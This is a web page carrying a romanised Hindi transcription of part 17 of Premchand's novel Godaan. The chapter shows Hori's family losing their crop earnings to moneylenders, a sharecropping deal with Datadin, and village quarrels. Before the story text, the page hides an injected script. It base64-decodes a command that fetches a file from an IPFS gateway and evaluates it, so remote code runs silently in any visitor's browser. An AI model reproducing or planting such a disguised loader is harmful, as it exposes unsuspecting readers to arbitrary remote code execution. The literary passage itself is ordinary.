गोदान उपन्यास भाग-17

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>gaanv mean khabar phail gee ki rayasahab ne panchoan ko bula kar khoob daanta aur in logoan ne jitane rupe vasool kie the, vah sab inake pet se nikal lie. vah to in logoan ko jehal bhejava rahe the, lekin in logoan ne hath-paanv jo de, thook kar chata, tab jake unhoanne chho da. dhaniya ka kaleja shital ho gaya, gaanv mean ghoom-ghoom kar panchoan ko lajjit karati phirati thi - adami n sune gariboan ki pukar, bhagavan to sunate haian. logoan ne socha tha, inase daan d le kar maje se phulau diyaan khaeange. bhagavan ne aisa tamacha lagaya ki phulau diyaan muanh se nikal p dian. ek-ek ke do-do bharane p de. ab chato mera makan le kar.

magar bailoan ke bina kheti kaise ho? gaanvoan mean boaee shuroo ho gee. kartik ke mahine mean kisan ke bail mar jayan, to usake donoan hath kat jate haian. hori ke donoan hath kat ge the. aur sab logoan ke khetoan mean hal chal rahe the. bij dale ja rahe the. kahian-kahian git ki tanean sunaee deti thian. hori ke khet kisi anath abala ke ghar ki bhaanti soone p de the. puniya ke pas bhi goee thi, sobha ke pas bhi goee thi, magar unhean apane khetoan ki buaee se kahaan phurasat ki hori ki buaee karean. hori din-bhar idhar-udhar mara-mara phirata tha. kahian isake khet mean ja baithata, kahian usaki boaee kara deta. is tarah kuchh anaj mil jata. dhaniya, roopa, sona sabhi doosaroan ki boaee mean lagi rahati thian. jab tak buaee rahi, pet ki rotiyaan milati geean, vishesh kasht n hua. manasik vedana to avashy hoti thi, par khane bhar ko mil jata tha. rat ko nity stri-purush mean tho di-si l daee ho jati thi.

yahaan tak ki katik ka mahina bit gaya aur gaanv mean mazadoori milani bhi kathin ho gee. ab sara daramadar ookh par tha, jo khetoan mean kh di thi.

rat ka samay tha. sardi khoob p d rahi thi. hori ke ghar mean aj kuchh khane ko n tha. din ko to tho da-sa bhuna hua matar mil gaya tha, par is vakt choolha jalane ka koee daul n tha aur roopa bhookh ke mare vyakul thi aur dvar par kau de ke samane baithi ro rahi thi. ghar mean jab anaj ka ek dana bhi nahian hai, to kya maange, kya kahe!

jab bhookh n sahi gee to vah ag maangane ke bahane puniya ke ghar gee. puniya bajare ki rotiyaan aur bathue ka sag paka rahi thi. sugandh se roopa ke muanh mean pani bhar aya.

puniya ne poochha - kya abhi tere ghar ag nahian jali, kya ri?

roopa ne dinata se kaha - aj to ghar mean kuchh tha hi nahian, ag kahaan se jalati?

'to phir ag kahe ko maangane aee hai?'

'dada tamakhoo pieange.'

puniya ne upale ki ag usaki or pheank di, magar roopa ne ag uthaee nahian aur samip ja kar boli - tumhari rotiyaan mahak rahi haian kaki! mujhe bajare ki rotiyaan b di achchhi lagati haian.

puniya ne muskara kar poochha - khaegi?

'ammaan daanteangi.'

'ammaan se kaun kahane jayaga?'

roopa ne pet-bhar rotiyaan khaeean aur joothe muanh bhagi huee ghar chali gee.

hori man-mare baitha tha ki pandit datadin ne ja kar pukara. hori ki chhati dh dakane lagi. kya koee nee vipatti ane vali hai? a kar unake charan chhue aur kau de ke samane unake lie maanchi rakh di.

datadin ne baithate hue anugrah bhav se kaha - abaki to tumhare khet parati p d ge hori! tumane gaanv mean kisi se kuchh kaha nahian, nahian bhola ki majal thi ki tumhare dvar se bail khol le jata. yahian lahas gir jati. maian tumase janeoo hath mean le kar kahata hooan hori, maianne tumhare oopar daan d n lagaya tha. dhaniya mujhe nahak badanam karati phirati hai. yah sab lala pateshvari aur jhiangurisianh ki karastani hai. maian to logoan ke kahane se panchayat mean baith bhar gaya tha. vah log to aur k da dand laga rahe the. maianne kah-sun ke kam karaya, magar ab sab jane sir par hath dhare ro rahe haian. samajhe the, yahaan unhian ka raj hai. yah n janate the ki gaanv ka raja koee aur hai. to ab apane khetoan ki boaee ka kya iantajam kar rahe ho?

'hori ne karun-kanth se kaha - kya bataooan maharaj, parati raheange.

'parati raheange? yah to b da anarth hoga.'

'bhagavan ki yahi ichchha hai, to apana kya bas.'

'mere dekhate tumhare khet kaise parati raheange? kal maian tumhari boaee kara dooanga. abhi khetoan mean kuchh tari hai. upaj das din pichhe hogi, isake siva aur koee bat nahian. hamara-tumhara adha sajha rahega. isamean n tumhean koee tota hai, n mujhe. maianne aj baithe-baithe socha, to chitt b da dukhi hua ki jute-jutae khet parati rahe jate haian.'

hori soch mean p d gaya. chaumase-bhar in khetoan mean khad dali, jota aur aj keval boaee ke lie adhi phasal deni p d rahi hai. us par ehasan kaisa jata rahe haian, lekin isase to achchha yahi hai ki khet parati p d jayan. aur kuchh n milega, lagan to nikal hi aega. nahian, abaki bebaki n huee, to bedakhali aee dhari hai.

usane yah prastav svikar kar liya.

datadin prasann ho kar bole - to chalo, maian abhi bij taul dooan, jisase sabere ka jhanjhat n rahe. roti to kha li hai n?

hori ne lajate hue aj ghar mean choolha n jalane ki katha kahi.

datadin ne mithe ulahane ke bhav se kaha - are! tumhare ghar mean choolha nahian jala aur tumane mujhase kaha bhi nahian. ham tumhare bairi to nahian the. isi bat par tumase mera ji kudhata hai. are bhale adami, isamean laj-saram ki kaun bat hai! ham sab ek hi to haian. tum soodr hue to kya, ham bamhan hue to kya, haian to sab ek hi ghar ke. din sabake barabar nahian jate. kaun jane, kal mere hi oopar koee sankat a p de, to maian tumase apana du:kh n kahooanga to kisase kahooanga? achchha jo hua, chalo, beang hi ke sath tumhean man-do-man anaj khane ko bhi taul dooanga.

adha ghante mean hori man-bhar jau ka tokara sir par rakhe aya aur ghar ki chakki chalane lagi. dhaniya roti thi aur sona ke sath jau pisati thi. bhagavan use kis kukarm ka yah dand de rahe haian!

doosare din se boaee shuroo huee. hori ka sara parivar is tarah kam mean juta hua tha, mano sab kuchh apana hi hai. kee din ke bad sianchaee bhi isi tarah huee. datadin ko seant-meant ke majoor mil ge. ab kabhi-kabhi unaka l daka matadin bhi ghar mean ane laga. javan adami tha, b da rasik aur batachit ka mitha. datadin jo kuchh chhin-jhapat kar late the, vah use bhaang booti mean u data tha. ek chamarin se usaki ashanaee ho gee thi, isalie abhi tak byah n hua tha. vah rahati alag thi, par sara gaanv yah rahasy janate hue bhi kuchh n bol sakata tha. hamara dharm hai hamara bhojan. bhojan pavitr rahe, phir hamare dharm par koee aanch nahian a sakati. rotiyaan dhal ban kar adharm se hamari raksha karati haian.

ab sajhe ki kheti hone se matadin ko jhuniya se batachit karane ka avasar milane laga. vah aise daanv se ata, jab ghar mean jhuniya ke siva aur koee n hota, kabhi kisi bahane se, kabhi kisi bahane se. jhuniya roopavati n thi, lekin javan thi aur usaki chamarin premika se achchhi thi. kuchh din shahar mean rah chuki thi, pahanana-odhana, bolana-chalana janati thi aur lajjashil bhi thi, jo stri ka sabase b da akarshan hai. matadin kabhi-kabhi usake bachche ko god mean utha leta aur pyar karata. jhuniya nihal ho jati thi.

ek din usane jhuniya se kaha - tum kya dekh kar gobar ke sath aeean jhoona?

jhuniya ne lajate hue kaha - bhag khianch laya maharaj, aur kya kahooan.

matadin du:khi man se bola - b da bevapha adami hai. tum jaisi lachchhami ko chho d kar n jane kahaan mara-mara phir raha hai. chanchal subhav ka adami hai, isi se mujhe sanka hoti hai ki kahian aur n phans gaya ho. aise adamiyoan ko to goli mar deni chahie. adami ka dharam hai, jisaki baanh pakade, use nibhae. yah kya ki ek adami ki jiandagani kharab kar di aur doosara ghar takane lage.

yuvati rone lagi. matadin ne idhar-udhar tak kar usaka hath pak d liya aur samajhane laga - tum usaki kyoan parava karati ho jhoona, chala gaya, chala jane do. tumhare lie kis bat ki kami hai - rupaya-paisa, gahana-kap da, jo chaho mujhase lo.

jhuniya ne dhire se hath chhu da liya aur pichhe hat kar boli - sab tumhari daya hai maharaj! maian to kahian ki n rahi. ghar se bhi gee, yahaan se bhi gee. n maya mili, n ram hi hath ae. duniya ka rang-dhang n janati thi. isaki mithi-mithi batean sun kar jal mean phans gee.

matadin ne gobar ki buraee karani shuroo ki - vah to nira laphanga hai, ghar ka n ghat ka. jab dekho, maan-bap se l daee. kahian paisa pa jay, chat jua khel dalega, charas aur gaanje mean usaki jan basati thi, sohadoan ke sath ghoomana, bahoo-betiyoan ko chhe dana, yahi usaka kam tha. thanedar sahab badamasi mean usaka chalan karane vale the, ham logoan ne bahut khusamad ki, tab ja kar chho da. doosaroan ke khet-khalihan se anaj u da liya karata. kee bar to khud usi ne pak da tha, par gaanv-ghar ka samajh kar chho d diya.

sona ne bahar a kar kaha - bhabhi, ammaan ne kaha hai, anaj nikal kar dhoop mean dal do, nahian chokar bahut nikalega. pandit ne jaise bakhar mean pani dal diya ho.

matadin ne apane saphaee di - maloom hota hai, tere ghar mean barasat nahian huee. chaumase mean lak di tak gili ho jati hai, anaj to anaj hi hai.

yah kahata hua vah bahar chala gaya. sona ne a kar usaka khel biga d diya.

sona ne jhuniya se poochha - matadin kya karane ae the?

jhuniya ne matha siko d kar kaha - pagahiya maang rahe the. maianne kah diya, yahaan pagahiya nahian hai.

'yah sab bahana hai. b da kharab adami hai.'

'mujhe to b da bhala adami lagata hai. kya kharabi hai usamean?'

'tum nahian janatian - siliya chamarin ko rakhe hue hai.'

'to isi se kharab adami ho gaya?'

'aur kahe se adami kharab kaha jata hai?'

tumhare bhaiya bhi to mujhe lae haian. vah bhi kharab adami haian?'

sona ne isaka javab n de kar kaha - mere ghar mean phir kabhi aega, to dutakar dooangi.

'aur jo usase tumhara byah ho jay?'

'sona laja gee - tum to bhabhi, gali deti ho.

'kyoan, isamean gali ki kya bat hai?'

'mujhase bole, to muanh jhulas dooan.'

to kya tumhara byah kisi devata se hoga. gaanv mean aisa suandar, sajila javan doosara kaun hai?'

'to tum chali jao usake sath, siliya se lakh darje achchhi ho.'

'maian kyoan chali jaooan? maian to ek ke sath chali aee. achchha hai ya bura.'

'to maian bhi jisake sath byah hoga, usake sath chali jaooangi, achchha ho ya bura.'

'aur jo kisi boodhe ke sath byah ho gaya?'

sona hansi - maian usake lie naram-naram rotiyaan pakaooangi, usaki davaiyaan kootooangi-chhanooangi, use hath pak d kar uthaooangi, jab mar jayaga to muanh dhaanp kar roooangi.

'aur jo kisi javan ke sath hua?'

tab tumhara sir, haan nahian to!'

'achchha batao, tumhean boodha achchha lagata hai ki javan!'

'jo apane ko chahe, vahi javan hai, n chahe vahi boodha hai.'

'daiv kare, tumhara byah kisi boodhe se ho jay, to dekhooan, tum use kaise chahati ho. tab manaogi, kisi tarah yah nigo da mar jay, to kisi javan ko le kar baith jaooan.'

'mujhe to us boodhe par daya ae.'

is sal idhar ek shakkar ka mil khul gaya tha. usake kariande aur dalal gaanv-gaanv ghoom kar kisanoan ki kh di ookh mol le lete the. vahi mil tha, jo mistar khanna ne khola tha. ek din usaka karianda is gaanv mean bhi aya. kisanoan ne jo usase bhav-tav kiya, to maloom hua, gu d banane mean koee bachat nahian hai. jab ghar mean ookh per kar bhi yahi dam milata hai, to perane ki mehanat kyoan uthaee jay? sara gaanv kh di ookh bechane ko taiyar ho gaya. agar kuchh kam bhi mile, to paravah nahian. tatkal to milega. kisi ko bail lena tha, kisi ko baki chukana tha, koee mahajan se gala chhu dana chahata tha. hori ko bailoan ki goee leni thi. abaki ookh ki paidavar achchhi n thi, isalie yah dar bhi tha ki mal n p dega. aur jab gu d ke bhav mil ki chini milegi, to gu d lega hi kaun? sabhi ne bayane le lie. hori ko kam-se-kam sau rupe ki asha thi. itane mean ek mamooli goee a jayagi, lekin mahajanoan ko kya kare! datadin, mangaroo, dulari, jhiangurisianh sabhi to pran kha rahe the. agar mahajanoan ko dene lagega, to sau rupe sood-bhar ko bhi n hoange. koee aisi jugat n soojhati thi ki ookh ke rupe hath mean a jayan aur kisi ko khabar n ho. jab bail ghar a jaeange, to koee kya kar lega? ga di ladegi, to sara gaanv dekhega hi, taul par jo rupe mileange, vah sabako maloom ho jaeange. sanbhav hai, mangaroo aur datadin hamare sath-sath rahean. idhar rupe mile, udhar unhoanne gardan pak di.

sham ko giradhar ne poochha- tumhari ookh kab tak jayagi hori kaka?

hori ne jhaansa diya - abhi to kuchh thik nahian hai bhaee, tum kab tak le jaoge?

giradhar ne bhi jhaansa diya - abhi to mera bhi kuchh thik nahian hai kaka!

aur log bhi isi tarah ki u danaghaiyaan batate the, kisi ko kisi par vishvas n tha. jhiangurisianh ke sabhi riniyaan the, aur sabaki yahi ichchha thi ki jhiangurisianh ke hath rupe n p dane paean, nahian vah sab-ka-sab hajam kar jayaga. aur jab doosare din asami phir rupe maangane jayaga to naya kagaj, naya najarana, nee taharir. doosare din shobha a kar bola - dada, koee aisa upay karo ki jhiangurisianh ko haija ho jae. aisa gire ki phir n uthe.

hori ne muskara kar kaha - kyoan, usake bal-bachche nahian haian?

'usake bal-bachchoan ko dekhean ki apane bal-bachchoan ko dekhean? vah to do-do mehariyoan ko aram se rakhata hai, yahaan to ek ko rookhi roti bhi mayassar nahian. sari jama le lega. ek paisa bhi ghar n lane dega.'

'meri to halat aur bhi kharab hai bhaee, agar rupe hath se nikal ge, to tabah ho jaooanga. goee ke bina to kam n chalega.'

abhi to do-tin din ookh dhote lageange. jyoan hi sari ookh pahuanch jay, jamadar se kahean ki bhaiya kuchh le le, magar ookh jhatapat taul de, dam pichhe dena. idhar jhianguri se kah deange, abhi rupe nahian mile.'

hori ne vichar karake kaha - jhiangurisianh hamase-tumase kee guna chatur hai sobha! ja kar munim se milega aur usi se rupe le lega. ham-tum takate rah jaeange. jis khanna baboo ka mil hai, unhian khanna baboo ki mahajani kothi bhi hai. donoan ek haian.

sobha nirash ho kar bola - n jane in mahajanoan se kabhi gala chhootega ki nahian.

hori bola - is janam mean to koee asa nahian hai bhaee! ham raj nahian chahate, bhog-vilas nahian chahate, khali mota-jhota pahanana, aur mota-jhota khana aur marajad ke sath rahana chahate haian. vah bhi nahian sakota.

sobha ne dhoortata ke sath kaha - maian to dada, in saboan ko abaki chakama dooanga. jamadar ko kuchh de-dila kar is bat par raji kar looanga ki rupe ke lie hamean khoob dau daean. jhianguri kahaan tak dau deange.

hori ne hans kar kaha - yah sab kuchh n hoga bhaiya! kusal isi mean hai ki jhiangurisianh ke hath-paanv jo do. ham jal mean phanse hue haian. jitana hi ph daph daoge, utana hi aur jak date jaoge.

tum to dada, boodhoan ki-si batean kar rahe ho. kathaghare mean phanse baithe rahana to kayarata hai. phanda aur jak d jay bala se, par gala chhu dane ke lie zor to lagana hi p dega. yahi to hoga jhianguri ghar-dvar nilam kara leange, kara lean nilam! maian to chahata hooan ki hamean koee rupe n de, hamean bhookhoan marane de, latean khane de, ek paisa bhi udhar n de, lekin paisa vale udhar n dean to sood kahaan se paean? ek hamare oopar dava karata hai, to doosara hamean kuchh kam sood par rupe udhar de kar apane jal mean phansa leta hai. maian to usi din rupe lene jaooanga, jis din jhianguri kahian chala gaya hoga.

hori ka man bhi vichalit hua - haan, yah thik hai.

'ookh tulava deange. rupe daanv-ghat dekh kar le aeange.'

'bas-bas, yahi chal chalo.'

doosare din prat:kal gaanv ke kee adamiyoan ne ookh katani shuroo ki. hori bhi apane khet mean gan dasa le kar pahuancha. udhar se sobha bhi usaki madad ko a gaya. puniya, jhuniya, koniya, sona sabhi khet mean ja pahuanchian. koee ookh katata tha, koee chhilata tha, koee poole baandhata tha. mahajanoan ne jo ookh katate dekhi, to pet mean choohe dau de. ek taraph se dulari dau di, doosari taraph se mangaroo sah, tisari or se matadin aur pateshvari aur jhianguri ke piyade. dulari hath-paanv mean mote-mote chaandi ke k de pahane, kanoan mean sone ka jhumaka, aankhoan mean kajal lagae, boodhe yauvan ko range-rangae a kar boli - pahale mere rupe de do, tab ookh katane dooangi. maian jitana gam khati hooan, utana hi tum sher hote ho. do sal se ek dhela sood nahian diya, pachas to mere sood ke hote haian.

hori ne ghighiya kar kaha - bhabhi, ookh kat lene do, isake rupe milate haian, to jitana ho sakega, tumako bhi dooanga. n gaanv chho d kar bhaga jata hooan, n itani jaldi maut hi aee jati hai. khet mean kh di ookh to rupe n degi?

dulari ne usake hath se gan dasa chhin kar kaha - niyat itani kharab ho gee hai tum logoan ki, tabhi to barakkat nahian hoti.

aj paanch sal hue, hori ne dulari se tis rupe lie the. tin sal mean usake sau rupe ho ge, tab staanp likha gaya. do sal mean us par pachas rupaya sood chadh gaya tha.

hori bola - sahuain, niyat to kabhi kharab nahian ki, aur bhagavan chaheange, to paee-paee chuka dooanga. haan, ajakal tang ho gaya hooan, jo chahe kah lo.

sahuain ko jate der nahian huee ki mangaroo sah pahuanche. kala rang, toand kamar ke niche latakati huee, do b de-b de daant samane jaise kat khane ko nikale hue, sir par topi, gale mean chadar, umr abhi pachas se zyada nahian, par lathi ke sahare chalate the. gathiya ka maraj ho gaya tha. khaansi bhi ati thi. lathi tek kar kh de ho ge aur hori ko daant bataee - pahale hamare rupe de do hori, tab ookh kato. hamane rupe udhar die the, khairat nahian the. tin-tin sal ho ge, n sood n byaj, magar yah n samajhana ki tum mere rupe hajam kar jaoge. maian tumhare murde se bhi vasool kar looanga.

sobha masakhara tha. bola - tab kahe ko ghab date ho sahaji, inake murde hi se vasool kar lena. nahian, ek-do sal ke age-pichhe donoan hi sarag mean pahuanchoge. vahian bhagavan ke samane apana hisab chuka lena.

mangaroo ne sobha ko bahut bura-bhala kaha - jamamar, beeeman ityadi. lene ki ber to dum hilate ho, jab dene ki bari ati hai, to gurrate ho. ghar bikava looanga, bail-badhie nilam kara looanga.

sobha ne phir chhe da - achchha, eeman se batao sah, kitane rupe die the, jisake ab tin sau rupe ho ge haian?

'jab tum sal ke sal sood n doge, to ap hi badheange.'

'pahale-pahal kitane rupe die the tumane? pachas hi to.'

'kitane din hue, yah bhi to dekh.'

'paanch-chh: sal hue hoange?'

'das sal ho ge poore, gyarahavaan ja raha hai.'

'pachas rupe ke tin sau rupe lete tumhean jara bhi saram nahian ati.'

'saram kaisi, rupe die haian ki khairat maangate haian.'

hori ne inhean bhi chirauri-vinati karake vida kiya. datadin ne hori ke sajhe mean kheti ki thi. bij de kar adhi phasal le leange. is vakt kuchh chhe d-chha d karana niti-viruddh tha. jhiangurisianh ne mil ke mainejar se pahale hi sab kuchh kah-sun rakha tha. unake pyade ga diyoan par ookh ladava kar nav par pahuancha rahe the. nadi gaanv se adh mil par thi. ek ga di din-bhar mean sat-ath chakkar kar leti thi. aur nav ek kheve mean pachas ga diyoan ka bojh lad leti thi. is tarah kiphayat p dati thi. is suvidha ka iantajam karake jhiangurisianh ne sare ilake ko ehasan se daba diya tha.

taul shuroo hote hi jhiangurisianh ne mil ke phatak par asan jama liya. har ek ki ookh taulate the, dam ka puraja lete the. khajaanchi se rupe vasool karate the aur apana pavana kat kar asami ko dete the. asami kitana hi roe, chikhe, kisi ki n sunate the. malik ka yahi hukm tha. unaka kya bas!

hori ko ek sau bis rupe mile! usamean se jhiangurisianh ne apane poore rupe sood samet kat kar koee pachis rupe hori ke havale kie.

hori ne rupe ki or udasin bhav se dekh kar kaha - yah le kar maian kya karooanga thakur, yah bhi tumhian le lo. meri lie majoori bahut milegi.

jhianguri ne pachisoan rupe zamin par pheank kar kaha - lo ya pheank do, tumhari khusi. tumhare karan malik ki ghu dakiyaan khaeean aur abhi rayasahab sir par savar haian ki daan d ke rupe ada karo. tumhari garibi par daya karake itane rupe die deta hooan, nahian ek dhola bhi n deta. agar rayasahab ne sakhti ki to ulte aur ghar se dene p deange.

hori ne dhire se rupe utha lie aur bahar nikala ki nokheram ne lalakara. hori ne ja kar pachisoan rupe unake hath par rakh die, aur bina kuchh kahe jaldi se bhag gaya. usaka sir chakkar kha raha tha.

sobha ko itane hi rupe mile the. vah bahar nikala, to pateshvari ne ghera.

sobha baras p da. bola - mere pas rupe nahian haian, tumhean jo kuchh karana ho, kar lo.

pateshvari ne garam ho kar kaha - ookh bechi hai ki nahian?

'haan, bechi hai.'

'tumhara yahi vada to tha ki ookh bech kar rupaya dooanga!'

'haan, tha to.'

'phir kyoan nahian dete! aur sab logoan ko die haian ki nahian?'

'haan, die haian.'

'to mujhe kyoan nahian dete?'

'mere pas ab jo kuchh bacha hai, vah bal-bachchoan ke lie hai.'

pateshvari ne big d kar kaha - tum rupe doge, sobha aur hath jo d kar aur aj hi. haan, abhi jitana chaho, bahak lo. ek rapat mean jaoge chh: mahine ko, poore chh: mahine ko, n ek din bes, n ek din kam. yah jo nity jua khelate ho, vah ek rapat mean nikal jayaga. maian zamiandar ya mahajan ka naukar nahian hooan, sarakar bahadur ka naukar hooan, jisaka duniya-bhar mean raj hai aur jo tumhare mahajan aur zamiandar donoan ka malik hai.

pateshvarilal age badh ge. sobha aur hori kuchh door chupachap chale. mano is dhikkar ne unhean sanjnahin kar diya ho. tab hori ne kaha - sobha, isake rupe de do. samajh lo, ookh mean ag lag gee thi. maianne bhi yahi soch kar, man ko samajhaya hai.

sobha ne ahat kanth se kaha - haan, de dooanga dada! n dooanga to jaooanga kahaan?

samane se giradhar ta di pie jhoomata chala a raha tha. donoan ko dekh kar bola - jhianguriya ne sare ka sara le liya hori kaka! chabena ko bhi ek paisa n chho da! hatyara kahian ka! roya, gi dagi daya, par is papi ko daya n aee.

shobha ne kaha - ta di to pie hue ho, us par kahate ho, ek paisa bhi n chho da.

giradhar ne pet dikha kar kaha - saanjh ho gee, jo pani ki booand bhi kanth tale gee ho, to go-maans barabar. ek ikanni muanh mean daba li thi. usaki ta di pi li. socha, sal-bhar pasina gara hai, to ek din ta di to pi looan, magar sach kahata hooan, nasa nahian hai. ek ane mean kya nasa hoga? haan, jhoom raha hooan jisamean log samajhean, khoob pie hue hai. b da achchha hua kaka, bebaki ho gee. bis lie, usake ek sau sath bhare, kuchh had hai!

hori ghar pahuancha, to roopa pani le kar dau di, sona chilam bhar laee, dhaniya ne chabena aur namak la kar rakh diya aur sabhi asha-bhari aankhoan se usaki or takane lagian. jhuniya bhi chaukhat par a kh di huee thi. hori udas baitha tha. kaise muanh-hath dhoe, kaise chabena khae. aisa lajjit aur glanit tha, mano hatya karake aya ho.

dhaniya ne poochha - kitane ki taul huee?

'ek sau bis mile, par sab vahian lut ge, dhela bhi n bacha.'

dhaniya sir se paanv tak bhasm ho uthi. man mean aisa udveg utha ki apana muanh noanch le. boli - tum jaisa gham d adami bhagavan ne kyoan racha, kahian milate to unase poochhati. tumhare sath sari ziandagi talakh ho gee, bhagavan maut bhi nahian dete ki janjal se jan chhoote. utha kar sare rupe bahanoiyoan ko de die. ab aur kaun amadani hai, jisase goee aegi? hal mean kya mujhe jotoge, ya ap jutoge? maian kahati hooan, tum boodhe hue, tumhean itani akl bhi nahian aee ki goee-bhar ke rupe to nikal lete! koee tumhare hath se chhin tho de leta. poos ki yah thand aur kisi ki deh par latta nahian. le jao sabako nadi mean duba do. sisak-sisak kar marane se to ek din mar jana phir bhi achchha hai. kab tak pual mean ghus kar rat kateange aur pual mean ghus bhi lean, to pual kha kar raha to n jayaga. tumhari ichchha ho, ghas hi khao, hamase to ghas n khaee jayagi.

yah kahate-kahate vah muskara p di. itani der mean usaki samajh mean yah bat ane lagi thi ki mahajan jab sir par savar ho jay, aur apane hath mean rupe hoan aur mahajan janata ho ki isake pas rupe haian, to asami kaise apani jan bacha sakata hai!

hori sir nicha kie apane bhagy ko ro raha tha. dhaniya ka muskarana use n dikhaee diya. bola - majoori to milegi. majoori karake khaeange. dhaniya ne poochha - kahaan hai is gaanv mean majoori? aur kaun muanh le kar majoori karoge? mahato nahian kahalate!

hori ne chilam ke kee kash laga kar kaha - majoori karana koee pap nahian. majoor ban jay, to kisan ho jata hai. kisan big d jay to majoor ho jata hai. majoori karana bhagy mean n hota ho yah sab vipat kyoan ati? kyoan gay marati? kyoan l daka nalayaq nikal jata?

dhaniya ne bahoo aur betiyoan ki or dekh kar kaha - tum sab-ki-sab kyoan ghere kh di ho, ja kar apana-apana kam dekho. vah aur haian jo hat-bazar se ate haian, to bal-bachchoan ke lie do-char paise ki koee chiz lie ate haian. yahaan to yah lobh lag raha hoga ki rupe tu daean kaise? ek kam n ho jayaga isi se inaki kamaee mean barakkat nahian hoti. jo kharach karate haian, unhean milata hai. jo n kha sakean, unhean rupe milean hi kyoan? zamin mean ga dane ke lie?

hori ne khilakhila kar kaha - kahaan hai vah ga di huee thati?

jahaan rakhi hai, vahian hogi. rona to yahi hai ki yah janate hue bhi paise ke lie marate ho! char paise ki koee chiz la kar bachchoan ke hath par rakh dete to pani mean n p d jate. jhianguri se tum kah dete ki ek rupaya mujhe de do, nahian maian tumhean ek paisa n dooanga, ja kar adalat mean lena, to vah zaroor de deta.'

hori lajjit ho gaya. agar vah jhalla kar pachisoan rupe nokheram ko n de deta, to nokhe kya kar lete? bahut hota bakaya par do-char ana sood le lete, magar ab to chook ho gee.

jhuniya ne bhitar ja kar sona se kaha - mujhe to dada par b di daya ati hai. bechare din-bhar ke thake-maande ghar ae, to ammaan kosane lagian. mahajan gala dabae tha, to kya karate bechare!

'to bail kahaan se ayange?'

'mahajan apane rupe chahata hai. use tumhare ghar ke dukh doan se kya matalab?'

ammaan vahaan hotian, to mahajan ko maja chakha detian. abhaga ro kar rah jata.'

jhuniya ne dillagi ki to yahaan rupe ki kaun kami hai - tum mahajan se jara hans kar bol do, dekho sare rupe chho d deta hai ki nahian. sach kahati hooan, dada ka sara dukh-dalidar door ho jae.

sona ne donoan hathoan se usaka muanh daba kar kaha - bas, chup hi rahana, nahian kahe deti hooan. abhi ja kar ammaan se matadin ki sari kalee khol dooan to rone lago.

jhuniya ne poochha - kya kah dogi ammaan se? kahane ko koee bat bhi ho. jab vah kisi bahane se ghar mean a jate haian, to kya kah dooan ki nikal jao, phir mujhase kuchh le to nahian jate? kuchh apana hi de jate haian. sivay mithi-mithi batoan ke vah jhuniya se kuchh nahian pa sakate! aur apani mithi batoan ko mahange damoan par bechana bhi mujhe ata hai. maian aisi ana di nahian hooan ki kisi ke jhaanse mean a jaooan. haan, jab jan jaooangi ki tumhare bhaiya ne vahaan kisi ko rakh liya hai, tab ki nahian chalati. tab mere oopar kisi ka koee bandhan n rahega. abhi to mujhe visvas hai ki vah mere haian aur mere karan unhean gali-gali thokar khana p d raha hai. hansane-bolane ki bat nyari hai, par maian unase visvasaghat n karooangi. jo ek se do ka hua, vah kisi ka nahian rahata.

sobha ne a kar hori ko pukara aur pateshvari ke rupe usake hath mean rakh kar bola - bhaiya, tum ja kar ye rupe lala ko de do, mujhe us gh di n jane kya ho gaya tha.

hori rupe le kar utha hi tha ki shankh ki dhvani kanoan mean aee. gaanv ke us sire par dhyanasianh nam ke ek thakur rahate the. paltan mean naukar the aur kee din hue, das sal ke bad raja le kar ae the. bagadad, adan, siangapur, barma - charoan taraph ghoom chuke the. ab byah karane ki dhun mean the. isilie pooja-path karake brahmanoan ko prasann rakhana chahate the.

hori ne kaha - jan p data hai, satoan adhyay poore ho ge. arati ho rahi hai.

sobha bola - haan, jan to p data hai, chalo arati le lean.

hori ne chiantit bhav se kaha - tum jao, maian tho di der mean ata hooan.

dhyanasianh jis din ae the, sabake ghar ser-ser bhar mithaee baina bheji thi. hori se jab kabhi raste mean mil jate, kushal poochhate. unaki katha mean ja kar arati mean kuchh n dena apaman ki bat thi.

arati ka thal unhian ke hath mean hoga. unake samane hori kaise khali hath arati le lega. isase to kahian achchha hai vah katha mean jay hi nahian. itane adamiyoan mean unhean kya yad aegi ki hori nahian aya. koee rajistar lie to baitha nahian hai ki kaun aya, kaun nahian aya. vah ja kar khat par let raha.

magar usaka hriday masos-masos kar rah jata tha. usake pas ek paisa bhi nahian hai! taanbe ka ek paisa. arati ke puny aur mahatmy ka use bilakul dhyan tha. bat thi keval vyavahar ki. thakuraji ki arati to vah keval shraddha ki bheant de kar le sakata tha, lekin maryada kaise to de, sabaki aankhoan mean hetha kaise bane!

sahasa vah uth baitha. kyoan maryada ki gulami kare? maryada ke pichhe arati ka puny kyoan chho de? log hanseange, hans lean. use parava nahian hai. bhagavan use kukarm se bachae rakhean, aur vah kuchh nahian chahata.

vah thakur ke ghar ki or chal p da.

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